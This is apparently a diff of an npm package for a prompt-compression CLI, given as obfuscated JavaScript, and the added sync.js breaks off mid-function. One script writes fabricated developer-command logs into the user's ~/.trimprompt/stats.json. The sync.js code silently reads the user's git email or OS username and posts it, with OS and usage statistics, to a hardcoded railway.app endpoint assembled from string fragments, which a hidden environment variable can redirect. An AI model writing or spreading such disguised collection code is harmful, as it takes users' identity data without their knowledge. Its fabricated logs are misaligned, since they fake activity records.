models=[a0_0xcd25ff(0xff),'gpt-4o',a0_0xcd25ff(0x11e),a0_0xcd25ff(0xe2),'gemini-1-5-flash',a0_0xcd25ff(0xf8)],commands=[{'cmd':a0_0xcd25ff(0xe1),'raw':a0_0xcd25ff(0x109)[a0_0xcd25ff(0xf0)](0x32),'comp':a0_0xcd25ff(0x103),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x114),'raw':a0_0xcd25ff(0x100)+a0_0xcd25ff(0x11a)[a0_0xcd25ff(0xf0)](0x28)+a0_0xcd25ff(0x110),'comp':a0_0xcd25ff(0x11f),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xe6),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0xcd25ff(0x10a),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xf4),'raw':a0_0xcd25ff(0x10d)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0xcd25ff(0xe4),'comp':a0_0xcd25ff(0xeb),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x105),'raw':a0_0xcd25ff(0xe7)+a0_0xcd25ff(0xf3)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0xcd25ff(0x111)+a0_0xcd25ff(0xe5),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0xcd25ff(0xfe),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0xcd25ff(0x118)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0xcd25ff(0x116),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xea),'raw':a0_0xcd25ff(0xe3)+a0_0xcd25ff(0xf1),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0xcd25ff(0x101),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0xcd25ff(0x10b)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0xcd25ff(0xf2),'exitCode':0x0}],startTime=Date[a0_0xcd25ff(0xdf)]()-0x36ee80;function a0_0xc994(_0x5c1ade,_0x246246){_0x5c1ade=_0x5c1ade-0xde;const _0x323302=a0_0x3233();let _0xc99453=_0x323302[_0x5c1ade];return _0xc99453;}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0xcd25ff(0x106)]],commandItem=commands[Math[a0_0xcd25ff(0xec)](Math['random']()*commands[a0_0xcd25ff(0x106)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0xcd25ff(0xfc)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0xcd25ff(0x117)],commandItem[a0_0xcd25ff(0xfd)],commandItem['comp'],commandItem['exitCode']),logs=tracker_1[a0_0xcd25ff(0x10f)][a0_0xcd25ff(0x107)]();logs[a0_0xcd25ff(0x106)]>0x0&&(logs[logs[a0_0xcd25ff(0x106)]-0x1][a0_0xcd25ff(0x119)]=timestamp,require('fs')[a0_0xcd25ff(0xe8)](require(a0_0xcd25ff(0xf6))[a0_0xcd25ff(0x115)](require('os')[a0_0xcd25ff(0x102)](),a0_0xcd25ff(0xef),a0_0xcd25ff(0xed)),JSON[a0_0xcd25ff(0xf5)](logs,null,0x2),a0_0xcd25ff(0xf7)));}console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xfb));function a0_0x3233(){const _0x231820=['139407aWoVaV','.trimprompt','repeat','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','stringify','path','utf8','claude-3-opus','3446456sWPKMp','./tracker','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','toISOString','raw','pip\x20install\x20tensorflow\x20pandas\x20numpy','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20run\x20lint','homedir','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','960198KKqhFc','kubectl\x20get\x20pods\x20-n\x20production','length','getLogs','2cJUOxi','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','1891840DweVnS','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','31551gGkcKy','tracker','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','248fjCUzC','28ITWLmL','cargo\x20test','join','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','cmd','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','timestamp','test\x20tests::test_case_','1703934WlXxyO','log','11734970EawFFq','gpt-4o-mini','cargo\x20test:\x2045\x20passed,\x200\x20failed.','__esModule','now','defineProperty','git\x20diff\x20main','gemini-1-5-pro','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','writeFileSync','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','floor','stats.json'];a0_0x3233=function(){return _0x231820;};return a0_0x3233();}
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1f78e8=a0_0x123b;(function(_0x469301,_0x22b65b){const _0xbf0d7a=a0_0x123b,_0x52c239=_0x469301();while(!![]){try{const _0xed4118=-parseInt(_0xbf0d7a(0x124))/0x1*(parseInt(_0xbf0d7a(0xd4))/0x2)+parseInt(_0xbf0d7a(0xfd))/0x3+-parseInt(_0xbf0d7a(0xd1))/0x4+-parseInt(_0xbf0d7a(0xe1))/0x5*(parseInt(_0xbf0d7a(0xee))/0x6)+parseInt(_0xbf0d7a(0x115))/0x7*(-parseInt(_0xbf0d7a(0x117))/0x8)+parseInt(_0xbf0d7a(0xce))/0x9+-parseInt(_0xbf0d7a(0x10d))/0xa*(-parseInt(_0xbf0d7a(0x103))/0xb);if(_0xed4118===_0x22b65b)break;else _0x52c239['push'](_0x52c239['shift']());}catch(_0xbe43e1){_0x52c239['push'](_0x52c239['shift']());}}}(a0_0x3c1b,0x46ffa));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x32974d,_0x1c16f4,_0x2be165,_0x4ff580){const _0x4d1856=a0_0x123b;if(_0x4ff580===undefined)_0x4ff580=_0x2be165;var _0x28b779=Object[_0x4d1856(0xcd)](_0x1c16f4,_0x2be165);(!_0x28b779||(_0x4d1856(0xe3)in _0x28b779?!_0x1c16f4[_0x4d1856(0x119)]:_0x28b779[_0x4d1856(0x123)]||_0x28b779[_0x4d1856(0x106)]))&&(_0x28b779={'enumerable':!![],'get':function(){return _0x1c16f4[_0x2be165];}}),Object[_0x4d1856(0x11a)](_0x32974d,_0x4ff580,_0x28b779);}:function(_0x3ae314,_0x573a48,_0x1b7647,_0x1ec9ca){if(_0x1ec9ca===undefined)_0x1ec9ca=_0x1b7647;_0x3ae314[_0x1ec9ca]=_0x573a48[_0x1b7647];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f78e8(0x11e)]?function(_0x15b717,_0x219e2c){const _0x4ca3d8=a0_0x1f78e8;Object[_0x4ca3d8(0x11a)](_0x15b717,_0x4ca3d8(0x10c),{'enumerable':!![],'value':_0x219e2c});}:function(_0x54b889,_0x3b47d7){const _0x499ee6=a0_0x1f78e8;_0x54b889[_0x499ee6(0x10c)]=_0x3b47d7;}),__importStar=this&&this[a0_0x1f78e8(0xe8)]||(function(){var _0xfd1404=function(_0x3af7b5){const _0x58ae77=a0_0x123b;return _0xfd1404=Object[_0x58ae77(0xdf)]||function(_0x2a10ed){const _0x2073a3=_0x58ae77;var _0x4af5fa=[];for(var _0x31efdf in _0x2a10ed)if(Object[_0x2073a3(0xe0)][_0x2073a3(0xd0)][_0x2073a3(0xd6)](_0x2a10ed,_0x31efdf))_0x4af5fa[_0x4af5fa['length']]=_0x31efdf;return _0x4af5fa;},_0xfd1404(_0x3af7b5);};return function(_0x2c9f82){const _0xa1b63=a0_0x123b;if(_0x2c9f82&&_0x2c9f82[_0xa1b63(0x119)])return _0x2c9f82;var _0x5781c9={};if(_0x2c9f82!=null){for(var _0x3b01fa=_0xfd1404(_0x2c9f82),_0x557e1c=0x0;_0x557e1c<_0x3b01fa[_0xa1b63(0x105)];_0x557e1c++)if(_0x3b01fa[_0x557e1c]!=='default')__createBinding(_0x5781c9,_0x2c9f82,_0x3b01fa[_0x557e1c]);}return __setModuleDefault(_0x5781c9,_0x2c9f82),_0x5781c9;};}());function a0_0x3c1b(){const _0x1589c5=['create','username','trim','https://','.trimprompt','writable','167553llBMkI','getOwnPropertyDescriptor','3397491EmpfmU','Claude\x203.5\x20Sonnet','hasOwnProperty','1640144hWUnfS','ignore','input_price_1m','6pYSTUe','https:','call','Claude\x203\x20Opus','stringify','claude-3-5-sonnet','toFixed','Gemini\x201.5\x20Pro','unlinkSync','split','config.json','getOwnPropertyNames','prototype','5HtTrcV','getTime','get','url','port','add','catch','__importStar','toISOString','application/json','model_used','timestamp','includes','2762634rrJGYj','filter','daily_sync.json','pathname','telemetry_url','existsSync','platform','statusCode','tokens_saved','search','git\x20config\x20user.email','synced','logs','.raw.txt','parse','1584834vkUbkn','error','pipe','from','hostname','userInfo','216876TItjvR','https','length','configurable','writeFileSync','protocol','byteLength','path','stats.json','default','460PLcWaE','end','destroy','readFileSync','estimated_compressed_tokens','GPT-4o','child_process','estimated_raw_tokens','217PSaeDB','GPT-4o\x20Mini','38392yjlynw','join','__esModule','defineProperty','write','push','utf8'];a0_0x3c1b=function(){return _0x1589c5;};return a0_0x3c1b();}Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f78e8(0x10a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x1f78e8(0x104))),url_1=require(a0_0x1f78e8(0xe4)),_cfg=[a0_0x1f78e8(0x121),'trimp-production','.up.railway.app','/api/telemetry'][a0_0x1f78e8(0x118)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1f78e8(0xcf),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x1f78e8(0xd7),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x1f78e8(0x112),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x1f78e8(0x116),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1f78e8(0xdb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x1f78e8(0x118)](os['homedir'](),a0_0x1f78e8(0x122)),configPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xde)),statsPath=path['join'](baseDir,a0_0x1f78e8(0x10b)),dailySyncPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xf0));function getTodayDate(){const _0x494624=a0_0x1f78e8;return new Date()[_0x494624(0xe9)]()[_0x494624(0xdd)]('T')[0x0];}function getDeveloperIdentity(){const _0x2e05c0=a0_0x1f78e8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x171e0d}=require(_0x2e05c0(0x113)),_0x279188=_0x171e0d(_0x2e05c0(0xf8),{'stdio':[_0x2e05c0(0xd2),_0x2e05c0(0xff),_0x2e05c0(0xd2)]})['toString']()[_0x2e05c0(0x120)]();if(_0x279188&&_0x279188[_0x2e05c0(0xed)]('@'))return _0x279188;}catch{}try{const _0x412720=os[_0x2e05c0(0x102)]()[_0x2e05c0(0x11f)];if(_0x412720)return _0x412720;}catch{}return'anonymous';}function a0_0x123b(_0x543678,_0x2ec986){_0x543678=_0x543678-0xcd;const _0x3c1bf6=a0_0x3c1b();let _0x123ba8=_0x3c1bf6[_0x543678];return _0x123ba8;}function hasAlreadySyncedToday(){const _0x158b36=a0_0x1f78e8;try{if(!fs[_0x158b36(0xf3)](dailySyncPath))return![];const _0x5e60a2=JSON[_0x158b36(0xfc)](fs['readFileSync'](dailySyncPath,_0x158b36(0x11d)));return _0x5e60a2['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x93e7d1=a0_0x1f78e8;try{const _0x31efc0={'last_sync_date':getTodayDate()};fs[_0x93e7d1(0x107)](dailySyncPath,JSON[_0x93e7d1(0xd8)](_0x31efc0,null,0x2),_0x93e7d1(0x11d));}catch{}}function postTelemetry(_0x2450c6,_0x70f1b6){return new Promise(_0x23dbf8=>{const _0x39481b=a0_0x123b;try{const _0x1f3d77=new url_1['URL'](_0x2450c6),_0x511a4f=JSON['stringify'](_0x70f1b6),_0x2c2c77={'hostname':_0x1f3d77[_0x39481b(0x101)],'port':_0x1f3d77[_0x39481b(0xe5)]||(_0x1f3d77[_0x39481b(0x108)]==='https:'?0x1bb:0x50),'path':_0x1f3d77[_0x39481b(0xf1)]+_0x1f3d77[_0x39481b(0xf7)],'method':'POST','headers':{'Content-Type':_0x39481b(0xea),'Content-Length':Buffer[_0x39481b(0x109)](_0x511a4f)},'timeout':0x1f40},_0x2cc3ec=_0x1f3d77[_0x39481b(0x108)]===_0x39481b(0xd5)?https:http,_0x12c617=_0x2cc3ec['request'](_0x2c2c77,_0x54b4a0=>{const _0x1b97be=_0x39481b;_0x23dbf8(!!(_0x54b4a0[_0x1b97be(0xf5)]&&_0x54b4a0['statusCode']>=0xc8&&_0x54b4a0[_0x1b97be(0xf5)]<0x12c));});_0x12c617['on'](_0x39481b(0xfe),()=>_0x23dbf8(![])),_0x12c617['on']('timeout',()=>{const _0x50a145=_0x39481b;_0x12c617[_0x50a145(0x10f)](),_0x23dbf8(![]);}),_0x12c617[_0x39481b(0x11b)](_0x511a4f),_0x12c617[_0x39481b(0x10e)]();}catch{_0x23dbf8(![]);}});}function buildDailyPayload(_0x5eef83){const _0xef0450=a0_0x1f78e8,_0xac5d11=getTodayDate(),_0x1b78a8=_0x5eef83[_0xef0450(0xef)](_0xec64bd=>_0xec64bd[_0xef0450(0xec)]['startsWith'](_0xac5d11)),_0x232863=_0x1b78a8[_0xef0450(0x105)]>0x0?_0x1b78a8:_0x5eef83;let _0x26837=0x0,_0x5f573d=0x0,_0x1fcf7a=0x0,_0x2068f7=0x0;const _0x37d220=new Set();for(const _0x320269 of _0x232863){_0x26837+=_0x320269[_0xef0450(0x114)],_0x5f573d+=_0x320269[_0xef0450(0x111)],_0x1fcf7a+=_0x320269[_0xef0450(0xf6)],_0x37d220[_0xef0450(0xe6)](_0x320269[_0xef0450(0xeb)]);const _0x5b3ffc=PRICING[_0x320269[_0xef0450(0xeb)]]||PRICING[_0xef0450(0xd9)];_0x2068f7+=_0x320269[_0xef0450(0xf6)]*_0x5b3ffc[_0xef0450(0xd3)]/0xf4240;}const _0x8c11ca=_0x232863[_0x232863[_0xef0450(0x105)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0xef0450(0xf4)](),'date':_0xac5d11,'executions_count':_0x232863[_0xef0450(0x105)],'total_raw_tokens':_0x26837,'total_compressed_tokens':_0x5f573d,'total_tokens_saved':_0x1fcf7a,'total_money_saved_usd':parseFloat(_0x2068f7[_0xef0450(0xda)](0x6)),'models_used':Array[_0xef0450(0x100)](_0x37d220),'last_seen':_0x8c11ca?_0x8c11ca['timestamp']:new Date()[_0xef0450(0xe9)]()};}async function runSync(){const _0x4147f4=a0_0x1f78e8;if(!fs[_0x4147f4(0xf3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2974dc;try{_0x2974dc=JSON[_0x4147f4(0xfc)](fs[_0x4147f4(0x110)](statsPath,_0x4147f4(0x11d)));}catch{return;}const _0x526335=_0x2974dc[_0x4147f4(0xef)](_0x3fd2f0=>!_0x3fd2f0[_0x4147f4(0xf9)]);if(_0x526335[_0x4147f4(0x105)]===0x0)return;const _0x5c9fe8=buildDailyPayload(_0x2974dc);await postTelemetry(_ep,_0x5c9fe8);let _0x9ab075=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x9ab075&&fs[_0x4147f4(0xf3)](configPath))try{const _0x5cc3ba=JSON[_0x4147f4(0xfc)](fs['readFileSync'](configPath,_0x4147f4(0x11d)));_0x9ab075=_0x5cc3ba[_0x4147f4(0xf2)]||'';}catch{}_0x9ab075['trim']()[_0x4147f4(0x105)]>0x0&&await postTelemetry(_0x9ab075,_0x5c9fe8);for(const _0x308237 of _0x2974dc){if(!_0x308237[_0x4147f4(0xf9)])_0x308237[_0x4147f4(0xf9)]=!![];}try{fs[_0x4147f4(0x107)](statsPath,JSON[_0x4147f4(0xd8)](_0x2974dc,null,0x2),_0x4147f4(0x11d));}catch{}markSyncedToday(),pruneOldLogs(_0x2974dc);}function pruneOldLogs(_0x5ff8e){const _0x3ac038=a0_0x1f78e8;try{const _0x334d13=new Date(),_0x15aa0b=new Date(_0x334d13[_0x3ac038(0xe2)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2557dd=[],_0x1ec21f=[];for(const _0x3029bd of _0x5ff8e){const _0x5ddf32=new Date(_0x3029bd['timestamp']);_0x5ddf32>=_0x15aa0b?_0x2557dd[_0x3ac038(0x11c)](_0x3029bd):_0x1ec21f['push'](_0x3029bd);}if(_0x1ec21f['length']>0x0){const _0x3521f7=path[_0x3ac038(0x118)](baseDir,_0x3ac038(0xfa));for(const _0x3bc3a2 of _0x1ec21f){const _0x11cebe=path[_0x3ac038(0x118)](_0x3521f7,_0x3bc3a2['id']+_0x3ac038(0xfb)),_0x581098=path['join'](_0x3521f7,_0x3bc3a2['id']+'.comp.txt');try{if(fs['existsSync'](_0x11cebe))fs[_0x3ac038(0xdc)](_0x11cebe);if(fs[_0x3ac038(0xf3)](_0x581098))fs[_0x3ac038(0xdc)](_0x581098);}catch{}}fs[_0x3ac038(0x107)](statsPath,JSON[_0x3ac038(0xd8)](_0x2557dd,null,0x2),_0x3ac038(0x11d));}}catch{}}runSync()[a0_0x1f78e8(0xe7)](()=>{});
1
+ 'use strict';const a0_0x321bf5=a0_0x5a06;(function(_0x5549,_0x3fe2d8){const _0x5a2b2b=a0_0x5a06,_0x20f46f=_0x5549();while(!![]){try{const _0x119d88=-parseInt(_0x5a2b2b(0x1a2))/0x1+parseInt(_0x5a2b2b(0x1b9))/0x2+parseInt(_0x5a2b2b(0x1aa))/0x3*(-parseInt(_0x5a2b2b(0x1a0))/0x4)+-parseInt(_0x5a2b2b(0x1d1))/0x5+parseInt(_0x5a2b2b(0x1ca))/0x6+-parseInt(_0x5a2b2b(0x1d3))/0x7+parseInt(_0x5a2b2b(0x1dd))/0x8;if(_0x119d88===_0x3fe2d8)break;else _0x20f46f['push'](_0x20f46f['shift']());}catch(_0x502183){_0x20f46f['push'](_0x20f46f['shift']());}}}(a0_0x2560,0x3033f));var __createBinding=this&&this[a0_0x321bf5(0x1b7)]||(Object[a0_0x321bf5(0x1a7)]?function(_0x5ae9de,_0x4ec6eb,_0x252447,_0x4d03f8){const _0x163f44=a0_0x321bf5;if(_0x4d03f8===undefined)_0x4d03f8=_0x252447;var _0x5e737e=Object[_0x163f44(0x1b4)](_0x4ec6eb,_0x252447);(!_0x5e737e||(_0x163f44(0x1d4)in _0x5e737e?!_0x4ec6eb[_0x163f44(0x1b2)]:_0x5e737e['writable']||_0x5e737e['configurable']))&&(_0x5e737e={'enumerable':!![],'get':function(){return _0x4ec6eb[_0x252447];}}),Object[_0x163f44(0x19d)](_0x5ae9de,_0x4d03f8,_0x5e737e);}:function(_0x181d9c,_0x3cf13,_0x3c1921,_0x3efce9){if(_0x3efce9===undefined)_0x3efce9=_0x3c1921;_0x181d9c[_0x3efce9]=_0x3cf13[_0x3c1921];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x321bf5(0x1a7)]?function(_0x390089,_0x2ef0a0){const _0x218084=a0_0x321bf5;Object['defineProperty'](_0x390089,_0x218084(0x1ac),{'enumerable':!![],'value':_0x2ef0a0});}:function(_0x1657c4,_0x1f7687){const _0x414275=a0_0x321bf5;_0x1657c4[_0x414275(0x1ac)]=_0x1f7687;}),__importStar=this&&this[a0_0x321bf5(0x1c7)]||(function(){var _0x3987d2=function(_0x583ebb){return _0x3987d2=Object['getOwnPropertyNames']||function(_0x280c77){const _0x36e3a0=a0_0x5a06;var _0xa2fc46=[];for(var _0x5c26c4 in _0x280c77)if(Object[_0x36e3a0(0x1cc)]['hasOwnProperty']['call'](_0x280c77,_0x5c26c4))_0xa2fc46[_0xa2fc46['length']]=_0x5c26c4;return _0xa2fc46;},_0x3987d2(_0x583ebb);};return function(_0x59fa15){const _0x1bc212=a0_0x5a06;if(_0x59fa15&&_0x59fa15['__esModule'])return _0x59fa15;var _0x66e98a={};if(_0x59fa15!=null){for(var _0x3b6e40=_0x3987d2(_0x59fa15),_0x35abfb=0x0;_0x35abfb<_0x3b6e40[_0x1bc212(0x1e4)];_0x35abfb++)if(_0x3b6e40[_0x35abfb]!=='default')__createBinding(_0x66e98a,_0x59fa15,_0x3b6e40[_0x35abfb]);}return __setModuleDefault(_0x66e98a,_0x59fa15),_0x66e98a;};}());function a0_0x2560(){const _0xfbc8e5=['get','.comp.txt','stringify','homedir','logs','anonymous','synced','claude-3-5-sonnet','hostname','3830888ASnyje','write','userInfo','daily_sync.json','https','GPT-4o','POST','length','model_used','from','/api/telemetry','request','defineProperty','telemetry_url','ignore','4pUhEcw','parse','295642ETxyGj','https://','destroy','unlinkSync','GPT-4o\x20Mini','create','writeFileSync','trimp-production','562527AWhwuw','byteLength','default','timeout','statusCode','platform','URL','child_process','__esModule','join','getOwnPropertyDescriptor','includes','.up.railway.app','__createBinding','last_sync_date','675066xoYPWF','tokens_saved','Gemini\x201.5\x20Pro','toISOString','push','toString','http','pathname','.trimprompt','.raw.txt','Claude\x203\x20Opus','readFileSync','timestamp','existsSync','__importStar','estimated_raw_tokens','protocol','1139940SjIYFW','https:','prototype','url','input_price_1m','stats.json','utf8','327385NniFmj','port','1822219flVkfw'];a0_0x2560=function(){return _0xfbc8e5;};return a0_0x2560();}Object[a0_0x321bf5(0x19d)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x321bf5(0x1bf))),https=__importStar(require(a0_0x321bf5(0x1e1))),url_1=require(a0_0x321bf5(0x1cd)),_cfg=[a0_0x321bf5(0x1a3),a0_0x321bf5(0x1a9),a0_0x321bf5(0x1b6),a0_0x321bf5(0x1e7)][a0_0x321bf5(0x1b3)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x321bf5(0x1c3),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x321bf5(0x1e2),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x321bf5(0x1a6),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x321bf5(0x1bb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x321bf5(0x1b3)](os[a0_0x321bf5(0x1d7)](),a0_0x321bf5(0x1c1)),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1cf)),dailySyncPath=path[a0_0x321bf5(0x1b3)](baseDir,a0_0x321bf5(0x1e0));function a0_0x5a06(_0x5080e7,_0x526f6d){_0x5080e7=_0x5080e7-0x19c;const _0x2560de=a0_0x2560();let _0x5a067d=_0x2560de[_0x5080e7];return _0x5a067d;}function getTodayDate(){const _0x37bd1b=a0_0x321bf5;return new Date()[_0x37bd1b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x475748=a0_0x321bf5;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2b6d82}=require(_0x475748(0x1b1)),_0x5c6c9c=_0x2b6d82('git\x20config\x20user.email',{'stdio':['ignore','pipe',_0x475748(0x19f)]})[_0x475748(0x1be)]()['trim']();if(_0x5c6c9c&&_0x5c6c9c[_0x475748(0x1b5)]('@'))return _0x5c6c9c;}catch{}try{const _0x26da63=os[_0x475748(0x1df)]()['username'];if(_0x26da63)return _0x26da63;}catch{}return _0x475748(0x1d9);}function hasAlreadySyncedToday(){const _0x460203=a0_0x321bf5;try{if(!fs[_0x460203(0x1c6)](dailySyncPath))return![];const _0x532608=JSON['parse'](fs[_0x460203(0x1c4)](dailySyncPath,_0x460203(0x1d0)));return _0x532608[_0x460203(0x1b8)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e5e80=a0_0x321bf5;try{const _0x2a80cb={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x4e5e80(0x1d6)](_0x2a80cb,null,0x2),_0x4e5e80(0x1d0));}catch{}}function postTelemetry(_0x880df6,_0x4e210f){return new Promise(_0x5d0927=>{const _0x30fffe=a0_0x5a06;try{const _0x25e9e9=new url_1[(_0x30fffe(0x1b0))](_0x880df6),_0x587185=JSON[_0x30fffe(0x1d6)](_0x4e210f),_0x3b8833={'hostname':_0x25e9e9[_0x30fffe(0x1dc)],'port':_0x25e9e9[_0x30fffe(0x1d2)]||(_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?0x1bb:0x50),'path':_0x25e9e9[_0x30fffe(0x1c0)]+_0x25e9e9['search'],'method':_0x30fffe(0x1e3),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x30fffe(0x1ab)](_0x587185)},'timeout':0x1f40},_0x2ab865=_0x25e9e9[_0x30fffe(0x1c9)]===_0x30fffe(0x1cb)?https:http,_0x3e875d=_0x2ab865[_0x30fffe(0x19c)](_0x3b8833,_0x49103a=>{const _0x19d611=_0x30fffe;_0x5d0927(!!(_0x49103a[_0x19d611(0x1ae)]&&_0x49103a[_0x19d611(0x1ae)]>=0xc8&&_0x49103a[_0x19d611(0x1ae)]<0x12c));});_0x3e875d['on']('error',()=>_0x5d0927(![])),_0x3e875d['on'](_0x30fffe(0x1ad),()=>{const _0x427383=_0x30fffe;_0x3e875d[_0x427383(0x1a4)](),_0x5d0927(![]);}),_0x3e875d[_0x30fffe(0x1de)](_0x587185),_0x3e875d['end']();}catch{_0x5d0927(![]);}});}function buildDailyPayload(_0x3a9104){const 